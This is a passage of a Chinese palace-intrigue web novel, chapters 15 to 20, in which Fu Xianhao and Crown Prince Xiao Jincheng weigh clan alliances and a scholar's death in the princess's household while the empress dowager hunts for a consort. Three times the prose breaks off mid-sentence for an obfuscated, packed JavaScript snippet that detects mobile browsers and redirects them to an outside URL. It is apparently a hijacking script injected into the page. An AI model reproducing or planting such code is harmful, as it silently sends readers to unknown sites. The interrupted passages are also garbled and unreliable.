皇后对傅家虎视眈眈,势必要将傅家牢牢地掌握在手中,这时要是杀出太子这位程咬金来,傅家该如何选择,答案非常的明晰,而他也能够得到另一大助力。 琅琊王氏和姑苏傅家同时坐镇其身后,往后绝无第二种可能性。 傅羡好抿抿唇:“为何?” 闻言,拎着酒壶的萧瑾承尤似漫不经心地睨了她一眼,轻笑了声,这个回答姑且算是在他的意料之中。 他没有回答,傅羡好视线循着他的身影而动,他的影子被皎皎月色拉长,黝黑的影子全然将她笼罩其中,有那么一刹那,她好似看到了丝丝缕缕寂寥,还有少许的她看不懂的情绪。 恰似被困于笼中的困兽一下又一下地拍打着铁索,即将破笼而出。 傅羡好跟上去,亦步亦趋地踩着他踏过的积雪,没有催促着要得到答案,忽而觉得今晚的夜色着实不错,叫人舒心畅意。 15.第 15 章 萧瑾承走了几步,未在身侧睨见傅羡好,回眸扫了眼,眸中霎时间涌入窈窕身影。 她小心翼翼地提起裙摆垂头凝着步履下的积雪,察觉到自己停下时,她仰起头望来,泛着点点绯色的容颜上弥着恬静的笑。 傅羡好疑惑地眨了眨眼眸,下意识地环视了圈寂静无声的四周,确定四下无人经过后,问:“不走吗?” 凝着她须臾,萧瑾承忽而笑了笑。 这让傅羡好更加疑惑了。 “走。”说着萧瑾承微抬手,垂落的袖摆被凛冽寒风荡起,眼前的傅羡好愣了下,随即了然地抓住袖摆。 傅羡好牵着衣袖,鼻尖掠过淡淡的檀香,沉默须臾,开口道:“如今殿下与我合作是个人约定,与我家中无关,若是殿下想要傅家明确的答复,娘娘的意思确实是最为稳妥的办— —” “你呢。”萧瑾承忽而问。 傅羡好疑惑:“我什么?” 萧瑾承停下脚步,转身看向她,“如果我选择了傅家,以当下的局势,你势必要入集英殿,而且时间只会早不会晚。” 她分析了很多,也说了很多,唯独漏了她自己。 或者说,是在他这儿着意漏了她自己。 “你希望我选择傅家,一是如你所言这般得益于我,再者便是希望傅家以后能够走得更顺畅,你清楚我想要做什么,至于他们能不能给我想要的答案,那是是他们的事情。” “但不论如何,只要傅家和我达成一定的关系,就能够以最好的方式生存下来。”萧瑾承眸光晦暗不明地打量着她,看着她欲言又止的模样,心生无奈,“傅羡好,你考虑了傅家上下所有人,你呢,又有何打算。” 傅羡好嘴角微张,半响都说不出话。 要怪就怪萧瑾承过于聪明,也过于看得清自己。 她确实有所打算。 “诚如殿下前段时间所言那般。”傅羡好嘴角微微上扬,笑意不达眼眸,“王家是个不错的选择。” 话音落下的刹那,萧瑾承眉梢微微蹙起,平静无波的眸底波涛汹涌,欲要掀翻此刻的宁静。 “王绍卿。” 男子嗓音清冽,慢条斯理地道出这个名字,凉薄的语气似要将其拆吞入腹。 眼前的男子背对着月色,傅羡好看不清他眸底翻涌的情绪,不冷不热地‘嗯’了道,“他是再好不过的选择。” 再好不过的选择? 闻言,萧瑾承薄唇微扬,若有所思地‘哦’了声,挑了挑眉示意她往下说。 冷风习习,呼啸而过。 淡淡的寒意弥漫四下,傅羡好沉默不语地望着他,宫灯吹过他的脸庞,掠过的光影叫她看清了眼前男子的神色。 她眸光未动,细细地端详着萧瑾承。 风雨欲来。 顷刻之间,傅羡好就明白了。 她想法没有错,王家确实是个不错的选择。 “今日之前,我不会选择王家。”傅羡好不做没有十足把握的事情,留一分余地给敌对者,就是亲自往他们手中递刀子,终有一天会残害到自己,“可若是傅家选择了殿下,殿下也选择了傅家,而我再选择殿下的母家,牵引在我们之间的绳子,会更加的牢固不可催。” 王家已经能叫皇后止步不前,再来一个傅家,足以。 “可惜了。”萧瑾承微挑眉梢,眸中的笑意上扬了几分,语调似惋惜又似挑衅,“孤没有答应。” 他没有答应傅家,所以她推测的一切,都不会成为事实。 “是啊。”傅羡好越过颀长的身影,一步一个脚印地往前走,嘴角扬起点点笑意,“可惜了。” 萧瑾承眸光暗了几分,侧眸朝她望去,看着她一步步向前走去,步履温和而又坚定不移。 她好像什么都懂,又好像什么都不懂。 余下的,不过是心照不宣。 两人又是一前一后,不过这次傅羡好在前,萧瑾承在后。 月光拉长黑影,两人之间始终相隔着半丈的距离,一人没有停下来等待,一人步伐时急时缓,黑影将将要靠在一起时,他的步伐又慢了下来,如此循环往复。 走过幽深曲廊,跨过天引桥,方可瞧见隐于林苑之中的凉院竹屋,四下把守的侍卫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459797|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是萧瑾承的人,两人还未走近之时,侍卫们就已经往外退了十来丈。 进了竹屋后算是真正地踏入他的地盘,丝毫不需要担心会有他人走漏风声,傅羡好松懈了下来。 余白已经熨好了酒水,见两人进来,他微微后退了几步。 酒炉下灼烧的炭火隐隐作亮,架子上除了熨着温酒,甚至还烤上了板栗和红薯,傅羡好伸出手放在炭炉上,灼热的气息烘得身上暖乎乎的,冰冷的寒意不疾不徐地散开。 前去寻自己时,萧瑾承应该是在这儿待上一会儿了。上书的折子就那么摊开摆在一侧,丝毫不担心她多看。 不过也就一眼,傅羡好就看懂了是何人上书的折子,“张思邈?” “嗯。”萧瑾承随手将折子递给她,另一侧,修长的指尖越过酒壶,拎起一侧的茶壶,给她倒了盏茶水,“要求彻查公主府郑翊身亡一事。” 清澈可见底的白茶晕起浅浅气息,傅羡好一目十行地看完折子上的内容,果然是不出她所料,“前段时日公主府来了位书生,听闻为人甚是孤傲,当时就觉得此人出现的时机不对,现在看来确实是冲着公主来的。” 傅羡好顿了顿,合上折子,还给萧瑾承,“或者应该说,是冲着世家来的。” 一切都来得过于巧合,巧合到如果其中没有人为插手,那就真的是老天看世家不爽,故意降下的惩罚。 不过傅羡好向来奉信事在人为,听闻老天降罚都觉得是世人为自己作恶造成的冤孽找的借口,不肯承认曾经踩在脚下的蝼蚁奋勇而起将其踩在脚下,自己成了曾经看不起的那只蝼蚁,只能将一切归为老天降罚。 “郑翊入公主府,张思邈上书状告许川,以许川的性子于半路中将其拦下殴打一顿着实是他的作风,到皇上下令彻查此事,再到郑翊自缢身亡,公主府走漏风声。” 一桩桩,一件件,要是说其中没有人插手,傅羡好是真的不信,“今日陶贵妃特地寻了皇后,就是为了公主府一事。” 她静静地凝着对面漫不经心把玩着酒盏的萧瑾承,沉默半响,眼眸微眯:“殿下这是想要做什么。” 16.第 16 章 “不做什么。”萧瑾承掀起眼眸,对上那双熠熠生辉的眸子,眸中带着疑惑,带着探寻,“如果非要说做了什么,不过是袖手旁观而已。” 傅羡好闻言,精致的眉眼蹙起了几分,强压着心中的不解和怒意,道:“那是一条人命!” “我知道是条人命。”萧瑾承伸手拾过她面前的茶盏,倒掉已经凉了的茶水,重新给她倒了盏递过去。 傅羡好没接。 见她的神色愈发得严肃,端起狐疑不决的模样,萧瑾承失笑,将茶盏塞入她的手中,“是他自己不想要的。” 傅羡好愣了下,无意识地捏紧茶盏。 沁出的茶滴坠落,落在萧瑾承微微泛起青筋的手背上,他取过帕子随意地擦了下。 伫立于一侧的余白听了许久,目光对上主子的眼神时,他上前道:“据属下探查,郑翊出身贫寒,举全家之力寒窗苦读十余载,终于在今岁初春考入国子监。” 国子监内是什么情况,傅羡好心中门清。 世家与世家间层层相护,排挤寒门也是常有的事情,不过也都还在国子监的可控范围之内,是以这些年也极少有人说道些什么。 余白道:“郑翊常年埋头苦读不甚与人交谈,属下前去向他的街坊邻居了解过,他性子寡言少语相对来说是孤傲了些,入国子监后与人相处时也不似其他人那般圆滑。” 傅羡好抿唇,“他得罪了谁。” 萧瑾承剥了颗板栗,递给她,“陈家下边的门生。” 傅羡好默然。 兔子急了会咬人,狗急了都会跳墙,更何况是人。 “多月前几人言语肢体冲撞之时,郑翊持刀刺伤了为首的门生,是许川门下的人前往处理的,若只是寻郑翊的麻烦,以他的性子或许还能忍忍。” “可那些人也是猜透了他的心理,不惜车马劳顿前往郑翊的家乡,郑翊得知消息后也是连夜赶回,言辞恐吓间吓到了家中已经八十的老太太,老太太当场就去了。” “郑翊也是红了眼,随即入屋寻来砍刀,朝人砍去。”余白听闻街坊邻居提及此事时,都纷纷摇头,“属下也不知公主是如何知晓了此事,着人前往许川那儿劫下了郑翊。” 由此,也就一环扣上了一环。 傅羡好微抬手,示意余白无需再多言。 余白颔首,瞥了眼自家主子后,退了下去。 离开时,还不忘带上门。 每年国子监新生入院,都是京中的大事,有人想去寻门生,有人想去相看未来夫婿,也有人喜欢看热闹。 萧清歌就是后者,不过这个热闹看的,叫她看上了郑翊。 “公主早已经看上他了。”傅羡好想起年初时听萧清歌念叨的话语,要不是皇后着人相拦,断绝她与国子监中的往来,或许后来的事情都不会发生,“怪不得,当初是她着意跟皇后娘娘提起,说郑翊是她强掠来的。” 这件事追根究底终是陈家门生的错,萧清歌想要隐瞒下这个消息易如反掌。 思及此,傅羡好呼吸沉了几分,道:“郑翊不该死在公主府。” “她清楚。”萧瑾承呷了口茶水,面对她目光中忽而涌起的狐疑和求知欲,道:“萧清歌应该比你要早清楚这件事。” 傅羡好沉默。 倏然明白他话中的意思。 如果萧清歌不知情,消息起来时她必然会出手,也不会到了今日这个地步,由着消息满天飞,甚至传到了昭和宫。 只是傅羡好不太明白。 不过是个男子,普天之下俊俏书生比比皆是,以萧清歌的行事作风,她不可能只是为了郑翊。 萧清歌想要的,只怕远远不是如此。 良久,傅羡好道:“我已经和皇后娘娘提议,这件事咬死是郑翊脚底打滑失足落水导致的身亡。” 以傅羡好对皇后的了解,自己的话语想来正中了她的想法,就算当下自己没有提,日后她也会日此行事,倒不如由自己来提出。 如此提议,也会叫她愈发相信自己。 “人心叵测。”傅羡好轻笑了下,端起茶盏自顾自地碰了下萧瑾承的酒盏,道:“好不容易寻到一个和自己想法相似,且所想上不得台面的人,又怎会错过。” 她皱起的眉眼 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萧瑾承落下茶盏起身,走到镂空雕花云纹窗牖前,颀长的身影挡住了倾洒而入的光亮,只剩下屋内随风摇曳的烛火。 星星点点的烛火落在女子的容颜上,他看了须臾,道:“我答应皇祖母,由她命人着手操持迎妃一事。” 凉风吹拂入屋,吹灭了窗牖一侧的烛火。 “如此。”迎着月光而坐的傅羡好嘴角微扯,轻笑了声,道:“那便提前恭祝殿下— —” “何必急于这一时。”端端客气的语气听得萧瑾承怪闹心的,嗓音清冽不疾不徐地打断了她的话。 傅羡好微启的嘴角悠悠抿上,婉转流连的眸光掠向背对着皎白月光的男子,须臾,她端起茶水呷了口,回甘沁人的茶水散去了心中没由来,不知从何而起的闷热。 幽深竹屋中,烛火与月光共舞。 两人眸光四目相对,她静静地坐着饮茶,也未有旁的动作。 17.第 17 章 家中尚有年龄合适且未婚配女儿的朝中群臣,如今注意力都落在了萧瑾承的身上,纷纷猜测其何时迎妃,听闻前几年也有不少位高权重者当面问过他,不过都得不到个结果。 凝着那双如墨的眼眸,其中夹杂着许多傅羡好看不懂的神色,也有她能够看明白的,沉默须臾,她挪开了视线,望向竹屋檐下摇曳的铃铛。 萧瑾承负手而立,似笑非笑的神色衬得他的侧颜愈发的冷冽,寒风吹过他的衣角,颀长的身影斜斜落在竹屋内,寂寥无声。 半响,他微微抬手。 与他不过一臂之遥的傅羡好下意识地侧开身,男子修长有力的手臂越过她端起酒盏,唤来了守在门外的余白。 得了声的余白推门而入,端见竹屋内的气氛时稍稍怔忪了下,他快速地低下眸掏出一沓子宣纸,奉上后又迅速地退下。 萧瑾承将手中的宣纸递过去,全当看不到她欲言又止的模样,“京中宜居的院落,你且看看。” “嗯?”傅羡好眨了下眼眸,不明所以地掀起眼眸看向他,对上那道无奈的神色时,倏地反应过来,是给她父母前来京中落脚的地方。 她起身端端正正地行了道礼,“民女在此替双亲谢过殿下。” 若是萧瑾承不提起,傅羡好也是会主动提出相助。父母居于皇后着手安排的地方,她是无法安心的。 “举手之劳而已。”萧瑾承眸光凝着她恭恭敬敬的模样,慢条斯理地摩挲着酒盏上凸起的云纹,眼眸暗了几分,“你若是愿意,寻个时间自己出去看看也好。” 闻言,傅羡好薄唇微启。 这些年她不是没有过出宫的机会,她从未答应过。 明知自己是精致牢笼中的雀儿,哪日主子心情好了打开笼子叫她走出去瞧瞧,可当她踏出半步时就会被人擒回,何必自找苦吃。 不过这一次,想来也由不得自己想不想。 傅羡好眸光掠过男子手中的宣纸,心知他都已经安排好了,不论自己选择哪处,就算辗转多处也最终会落向那处,道:“娘娘应该会安排三殿下带我出宫,而且涉及替家中寻落脚之处,已经不是我能够随意拒绝的事情。” 而且,这次她确实要亲自走一趟才行。 傅羡好掀起眼帘盯着萧瑾承,静了一息,嘴角微启时就被他凛冽的嗓音截过。 “要真觉得不知道怎么感谢我,不如帮我个忙。”萧瑾承道。 话音落下,傅羡好心中的思虑落下些许,若有所思地道:“殿下但说无妨。” 萧瑾承看向她,眸光肆无忌惮地落在女子微仰起的容颜上,没有错过她眸中一闪而过的舒气,怕欠了自己的人情,非要一事一毕才能够安心地接受自己对她的好,也仅对他如此。 被他的目光盯着,傅羡好眼睫轻轻地颤了下。 寂静空寥的竹屋内回荡着寒风呼啸而过的沙沙声,垂落的雪花不知道什么时候停了下来。 良久,萧瑾承薄唇微扬。 男子冷冽的神色间忽而扬上一抹浅笑,突然得让傅羡好有点儿摸不清他在想些什么。 萧瑾承道:“出宫后,替我走一趟傅恺府上。” 傅羡好闻言眉头微微皱起。 傅恺是她的六叔,如今于内阁当差,她还未入宫时,六叔常年在外求学,他们之间不过是逢年过节见上几面,到现在也已经有整整五载未曾见过。 入了内阁,就是皇上的人。 傅羡好明白,萧瑾承确实不得亲自上门或是寻六叔前来相见,而自己好不容易出宫一趟,前往拜访乃是常理,不会有任何人觉得不妥当,就算有,也只会说她是授皇后所托。 她和傅恺算不上熟悉的事情,萧瑾承心中门清,也知傅羡好想要傅恺那儿探听到他的口风难于上青天,不过也恰恰是因为并非易事,她才能够心安理得地接受来自自己的好意。 果不其然,静默须臾的傅羡好颔了颔首,应下了。 萧瑾承漠然,神色晦暗不明。 心思落在前往傅恺府中该如何言说的傅羡好没有察觉到他神情的变化,思来想去之时,静谧无垠的竹屋响起叩门声。 随之而来的是余白的声音:“主子,子时到了。” 闻言,傅羡好侧眸扫了眼时漏,后知后觉地意识到自己已经出来一个时辰之久,到了该回去的时候了。 沉默多时的萧瑾 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“主子。”跟在十来步外的余白向前,垂眸等待着他的吩咐,不过等了好一会儿都没有听到声响,他微微掀起眼帘望去,果然看到了远处还未消失的身影。 余白默默地垂下头等待。 直到那道身影消失于视线中,萧瑾承才收回了视线,漫不经心地瞥向余白,道:“你明日去趟福阳宫。” 他说得不明不白,余白却听懂了。 这是叫自己前去回绝了太后娘娘的好意,绝了替主子迎妃的心思,已经不是第一次做这件事的余白拱了拱手,侧身让步时他犹豫了下。 就是这一下,萧瑾承微挑眉梢。 余白硬着头皮问:“若是娘娘问起缘由,属下该如何回复。” 能用的理由他都已经用过了,而且这次主子还答应了太后娘娘,谁知一日的时间都不到就又回绝了。 萧瑾承看了他一眼。 就是这一眼,余白懂了,还是以往用过的理由。 “政务繁忙,无心儿女情长。” 18.第 18 章 “说吧,这次的理由是什么。” 顶着太后淡漠威严的嗓音,余白的头往下垂了几分,嘴角微启欲要开口之际,耳畔再次响起太后的话语。 “看来又是政务繁忙,无心儿女情长。” 余白:“……” 他颔了颔首:“是。” 倚着贵妃榻的太后静默了几息,拨动着佛珠的手势都快了几分,安静的正殿内只能听到佛珠相撞的声响。 她知晓这是谁的属意,无意为难下边的人,但也真的是拿自家孙子半点儿办法也没有,思忖须臾,开口:“来人,赐坐。” 余白往后退了几步,拱了拱手:“娘娘,属下— —” 宫女们的动作很快,他还没有说完话,圆凳就已经搬到了他的身侧,兰絮做了个请的手势,“余侍卫,坐下回话吧。” 余白只得再次拱了拱手,谢过太后,坐下。 烧得通红的炭火爆了下,太后有意识地控制着拨弄佛珠的频率,呷了口茶水后方才问:“哀家记得,你跟影诀俩人跟在太子身边也已经有十五载?” 余白点头:“回禀娘娘,今岁端午开始是第十六个年头。” 太后淡然地‘嗯’了声,静了半息,又问:“可曾听闻你家主子提起过喜欢的女子。” 余白毫不犹豫地摇头:“回禀娘娘,不曾提及过。” 话音落下,太后眼眸微瞪,声音不由得拔高了些许:“一个也不曾!?” 余白颔首。 太后瞬间觉得久未发作的头风犯了。 萧瑾承如今二十有一,平日里听闻过的世家贵女想来也不少,怎会一个心仪的都没有?别说没见过的,就是宫宴上见过的贵女没有十个也有八个,竟是一个都没有看上? 太后心思沉了几许:“当真?” 余白点头:“当真。” 他算不得说谎,主子确实没有和他们提起过。 他们也只是在猜测,猜测主子是不是对傅姑娘有意,不过倘若主子真的对傅姑娘有意,又为何不与傅姑娘言说。 太后头疼地揉捏了下眉边穴位,她也不想催萧瑾承迎妃纳妾,能有个心仪的姑娘,那也是极好的。 如今朝堂之事繁多,皇后那边又是虎视眈眈,没有个贴心人在身侧陪伴,贴己话都没人倾听,该如何是好…… 太后沉沉地叹了口气,摆手示意余白离去之际,忽而想到另一个问题,叫他停了下来,“你家主子,喜欢什么类型的姑娘家?” 这个问题她打萧瑾承十六那年问到去岁,他的回复永远都是看眼缘,眼缘到了一切都好说。 眼缘这种虚无缥缈的东西,叫她该如何去寻姑娘家,只得想着让他多见见些世家姑娘,谁知又一次次地遭到拒绝。 余白屏息不敢答,只道:“回禀娘娘,属下不知。” 太后漠然,佛珠都不想拨弄了。 一时之间不知道该夸他好还是该骂他好,待在太子身边伺候嘴巴自然是要严,然而在这件事上,十个问题里也能获得十个摸不着的答复。 伺候在旁的兰絮见太后神色着实算不上好,换了个问法:“余侍卫,以你之见,殿下会喜欢什么样的姑娘?” 语毕,她递给了余白个眼神。 余白沉默了下,心知若是这个问题都含糊其词过去,太后若是被气出病来,到时候就不是责问他的事情,就连主子说不定都要受到牵连。 他垂眸,“聪明。” 话语溢出的刹那,太后抬起头来,黯淡无光的眼眸倏然亮起,侧眸瞥了眼兰絮。 “有勇有谋。”余白停顿了下,补充道:“高挑,貌美。” 说完他拱了拱手,不再言语。 太后眉眼间的郁色尽数散开,喜色不知何时悄然浮上眉梢,思绪中闪过京中的各家贵女们,逐个筛选。 兰絮侧眸瞥了眼自家娘娘的神色,笑着挥了挥手,示意余白退下。 宫殿门扉推开,阖拢。 脚步声渐渐消散于宫院之中。 “徐家次女徐相宜看似比较符合这一点。”太后沉吟了下,又摇了摇头,“不过有勇有谋这点,最为符合莫过于于家于绮。” “于姑娘乃将门之女,骑射之道就是京中多数男子都比不得。”兰絮端来茶水递上前,同时接过主子手中的佛珠,“徐姑娘蕙质兰心,才华容貌于京中都是有目共睹,两位姑娘着实都比较符合余侍卫口中的人选。” 太后满意地‘嗯’了声,徐相宜和于绮一直以来都是她的首选,“除了这俩,再着人去探听探听,看看谁家姑娘符合的。” 多些人多点人选,免得届时择了两人,太子一个都不喜。 兰絮应声。 思忖须臾,她笑道:“说起来,宫中也有姑娘蛮符合的。” 闻言,太后眉梢往上扬了几分,也想到了昨日见到的人儿,“傅羡好。” “是的。”兰絮道,“傅姑娘聪明伶俐,身型高挑,容貌更是无需多言,不过— —”她抿了抿唇,想起早些年的事情,“就是性子要软上不少,被人欺负了都不敢言说。” “深宫之中,人善叫人欺。”太后掌管宫院多年,比谁都清楚,不争还好,若是争,这座吃人的深宫中可容不得心善的姑娘,“罢了,她是皇后看中的人选,哀家无意和皇后相争,何况和澈儿又是相伴长大的,对澈儿来说,确实是绝佳人选。” 而此时,他人口中萧澈绝佳人选的傅羡好,正与珮云竹清等人垂眸候于长信宫宫殿正殿门扉处。 本该于门外守候的宫人们被遣散离去,殿内的争执声喧闹声接连不断,听声响都好似能瞧见面红耳赤的模样。 青瓷茶盏磕上砖块的刹那,垂眸的傅羡好等人抬起头对视了半眼,不约而同地往后退了半步。 急促的脚步声由远及近,阖紧的门扉被里头的来人重重拉开,盛气凌人的气息扑面而来,来人气势汹汹地跨过门槛。 经过傅羡好身侧时,她停了下来,深呼了口气,语气落缓了几分,道:“你跟我走。”说罢头也不回地离去。 傅羡好瞥了眼萧清歌的背影,回眸与珮云对视须臾,微微颔首后快步流星地跟上去。 萧清歌步履极快,傅羡好才下了阶梯,就已经不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公主驸马大婚不过半个月就分院而居,朝中宫中哗然,萧清歌丝毫不给赵府半分面子,随即上书将此事闹得满朝文武皆知,将这烫手山芋扔回赵家,矛头瞬间指向赵家。 此事沸沸扬扬闹了大半月,半年后,公主府入了第一位面首,是萧清歌出府听曲儿时瞧见的,觉得心喜就把人召了过去。 期间言官欲要出言相劝,翌日,尘封半年的事情又被萧清歌寻人闹起,这才堵住了众人的嘴。 “你呢,想来你近日也过得不大顺心。”萧清歌侧眸扫了眼,耳畔响起适才母后说过的话,粗粗算了下时间,笑道:“母后还是喜欢这种乱点鸳鸯谱的事情,我一个你一个。” 她顿了顿,嗤笑了声,“那臭小子算不得,不管怎么说,受益者是他。” 这话萧清歌能说,傅羡好却不能应和,只道:“娘娘有自己的考量。” 萧清歌闻言,笑的更加得肆无忌惮。 笑得眼泪都要循着眼角沁出。 “野心太大,不是什么好事。” 眼前女子笑的灿烂,也叫人看着觉得荒凉,傅羡好心中清楚,萧清歌心中也门清儿,她不过是他人前进路上的垫脚石,还要美名为为她好。 19.第 19 章 傅羡好与萧清歌相识是入宫之时,相熟却是萧清歌下降离宫后的事情。 彼时正值长信宫老人被掖庭捉拿询问,而她是无辜且软弱的受害者形象,第一个冲进宫中怒叱她人善被人欺,一副恨铁不成钢模样的,反而是与自己算不上熟稔的萧清歌。 皇后言语间提及的不过是顾全大局,就连平日事事站在她身侧的萧澈,也劝说她莫要为长信宫引来无端的祸事。 只有萧清歌。 她入宫的第一件事,不是找自己,而是径直杀去掖庭,要求宫人严刑审问,就算要打发去其他的地方,也要让宫中众人清楚得罪傅羡好的下场。 彼时的傅羡好听闻这些事情,只觉得匪夷所思,不明白与自己仅是三言两语之交的萧清歌,为何要为自己出头,不惜与皇后争执。 是后来熟稔后,她问了嘴。 萧清歌看了她很久很久,离宫之时方才道:“你我二人皆是棋盘上的棋子,本宫还有这个身份护着,再如何也不会有人敢欺凌于我,更不会自己委屈了自己,而你不同。” “你入宫一事充满了算计与筹谋,若不然此时此刻,你也该承欢膝下,受尽宠爱,才华得以展露。” “往后的路不好走,本宫能帮一把帮一把就是,棋子寒凉如冰,总要抱在一起,才能得到微乎其微的暖意。” 说着萧清歌顿了顿,掀起眼眸与她对视了好久,眸中的笑被血红的夕阳覆盖,张牙舞爪地外泄。 踏上宫舆前她回过身,道:“你就当作,我是在帮与我相似的女子,当作对自己的补偿吧。” 她没得选择,却希望其他人能有所选择。 如今此情此景下,傅羡好精致小巧的眉眼微微皱起,嘴角微启又抿上,好似看着一道恣意张扬的身影,被囚于无形的牢狱之中,渐渐磨灭了心神。 她沉默了下,凝眸道:“如今世家与其他朝臣间言语渐起,又恰逢除夕休沐十日,在此期间只要扭转世家被动的局面,郑翊一事还是有所转机的。” “世家?”萧清歌眉眼微冷,瞥了眼同为世家女的傅羡好,静了须臾摆摆手,道:“罢了罢了,左不过是本宫血浓于水的母亲和胞弟,能做的本宫都已经做了,最终就看他们的选择了。” 傅羡好敏锐地觉察到她只言片语中对世家的轻蔑之意,眼眸中的惊诧闪瞬即逝,分毫也捕捉不着。 她欲要试探之时,余光瞥见拾级而来的颀长清隽身影,来人神情恣意悠然,檐下水滴嘀嗒坠于男子玄褐色衣间,不过眨眼的功夫,水滴就已经融于其中,消散不见踪迹。 幽湛如墨的眼眸微不可查地扫过她们的身影,终是落在了傅羡好的眼眸之际。 他不知是什么时候来的,也不知是否听到了她们的对话,傅羡好暗暗深吸了口气,起身的同时不忘扯了扯萧清歌的衣角,福身行礼:“见过太子殿下。” 萧清歌闻言循着目光望去,见到来人时微挑眉梢,环视了圈百花苑,这儿是后宫嫔妃的休闲之处,按理来说除父皇外的男子,无召是不得入后宫的,她道:“皇兄怎会在此。” 问完她就觉得不大妥当。 这儿虽说是嫔妃所居宫院,可她的问话更像是探询太子的行踪。 “明日就是除夕,除夕之日事情繁琐,现下正好得空,寻个时候前往福阳宫和长信宫问安。” “是我唐突— —” 一冷一热的嗓音同时响起,也叫萧清歌敛下了话语。 萧清歌没想到萧瑾承会解释,下意识地侧眸看向傅羡好,谁知她微敛着眼眸,半分逾矩的地方都没有。 见状她静了一瞬,回眸看向眸色幽深的兄长,道:“那我与皇兄倒是想到一块儿去了,想着母后明日要处理众多事宜应该是没空搭理我,就提前入宫问安了。” 垂着眼帘的傅羡好闻言眸中扬起淡淡的笑,萧清歌的话说得滴水不漏,将皇后命她入宫质问郑翊一事说成了入宫问安,只要皇后不拆穿她,就不会有人言说什么。 她没有低估萧瑾承,只是她都如此言说了,别人再怀疑也要以当事人的话头为准。 果不其然,萧瑾承并未问什么,而是淡淡地‘嗯’了声,目光漫不经心地扫向低眉而立的傅羡好,“看来,傅姑娘今岁也不打算归家。” 忽而被点到的傅羡好眼眸僵了些许,颔了颔首:“回殿下,雪天难行,往返姑苏需要十多日,早些时候已经给家中去了信,道明了缘由。” 沉吟须臾,在萧瑾承的注视下,她道:“且今岁家中长辈会入京参加宫宴,再过几日也就能见到了。” 萧瑾承还没有开口,神色微喜的萧清歌就已经挽上了她的手,“真的?” 傅羡好点头,微微掀起眼眸看了眼神情未变的萧瑾承,又垂了下去,接着与萧清歌的对话,告诉他:“娘娘今日晨间和我道,正月初二时会让三殿下带我出宫,为家人打点京中的落脚处。” “哪用得着— —”萧清歌倏而明白过来母后此举的用意,瞥了眼神色清冽的兄长,止住了即将脱口而出的话语,硬生生地转了个话:“城南烟火气息缭绕,是京中最为繁华之处,住在那儿出入也方便。” 且城南那儿盘踞着多数世家,世家间多多走动对傅家而言不是什么坏事。 傅羡好和萧瑾承皆知她忽而敛下的话语是什么,不过也全都如她之意无视了那句话,傅羡好摇摇头,直言道:“娘亲喜静,相比起城南,城西更为适合。” 城西距离城南繁华之处约莫有半个时辰的车程,城南灯火通明,就是下半夜也是人满为患喧闹无比,而城西则要静谧上许多,适宜上了年纪的长辈和喜静之人居住。 萧清歌了然地点了点头,没有强求。 何况她对城西着实算不上熟。 伫立于石桌圆案一侧的傅羡好微抬指腹,不着痕迹地点了点三下,婉转流连的目光掠过萧清歌,指腹划过光滑石案,不疾不徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我倒觉得,学会审度时势,才是立足的根本。”萧清歌慵懒地抬手伸了道腰,艳丽的眸光沉了沉,“若是看不清局势,一朝踏错就会万劫不复。” 路她已经搭好了。 走不走,往哪儿走,全看萧澈的选择。 “别让郑翊的死白费了。”萧清歌喃喃道。 她说的很轻,奈何傅羡好离她太近,且心神都落在她的身上,自然而然地听到了这段话语。 傅羡好掀起眼眸,瞧着眼前妆面精致的女子,透过澹然的眼眸宛若看到了那颗玲珑心。 世家与寒门庶民相争,迫在眉睫。 而萧清歌也如同萧瑾承那般,选择了打压世家,抬高寒门庶民。 只可惜…… 皇后不这么觉得,萧澈也无此意。 20.第 20 章 冰雪消融,寒风瑟骨。 左右都是那些个事情,萧清歌也不愿在宫中停留,和傅羡好说上些许牢骚话后便头也不回地独自离宫。 傅羡好将其送到了供女眷们出入的翎毓门,望着公主宫舆碾过石砖不紧不慢离去,宫外的长街很长,长到有无数的侍卫把守,也有数不尽的石砖,以及看不尽的路面。 宫殿与宫外此刻相隔不过一座墙垣,不过百来米的街道,可对于她来说,如同天河。 视线中的宫舆渐渐消散,傅羡好才回过神来,本该泛着绯色的薄唇此刻被冰霜覆盖,散不尽的严寒。 她没有久留,目不斜视地朝着长信宫的方位而去。 将将跨过长信宫宫街门扉之际,眸中忽而闪过道熟稔的身影,傅羡好心神凛起,不动声色地往后退了半步,隐于门后,借着余光浅浅地打量着从长信宫中出来的身影。 少女手中不知道拿着什么,紧紧地拽在手中,神色看上去要比往常凝重上不少,甚至于带着些许的犹豫不决。 不多时,珮云也走了出来。 她的指腹微抬,挑起少女被寒风吹得凌乱的发丝勾至耳后,垂眸不知低语了些什么,少女眸中的犹豫悄然散去,不轻不重地点了下头,像是应下了什么事情。 傅羡好沉默不语地望着这一幕。 半响,她转过身,头也不回地离去。 檐下晶莹剔透的风铃随心飘荡,墨香徐徐萦绕瑶阁内,傅羡好眸光掠过字迹未干的宣纸,待其墨渍干涸时,方才折好收入袖中。 门扉被推开时,她掀起眼眸望向来人。 阴涸的光亮透过门扉,倾洒而入。 锦书瞧见屋中的身影时被吓了一跳,光影徐徐洒落在伫立于书案后的女子,叫她看不清那人面上的神色。 “姑娘,您怎么突然回来了?” 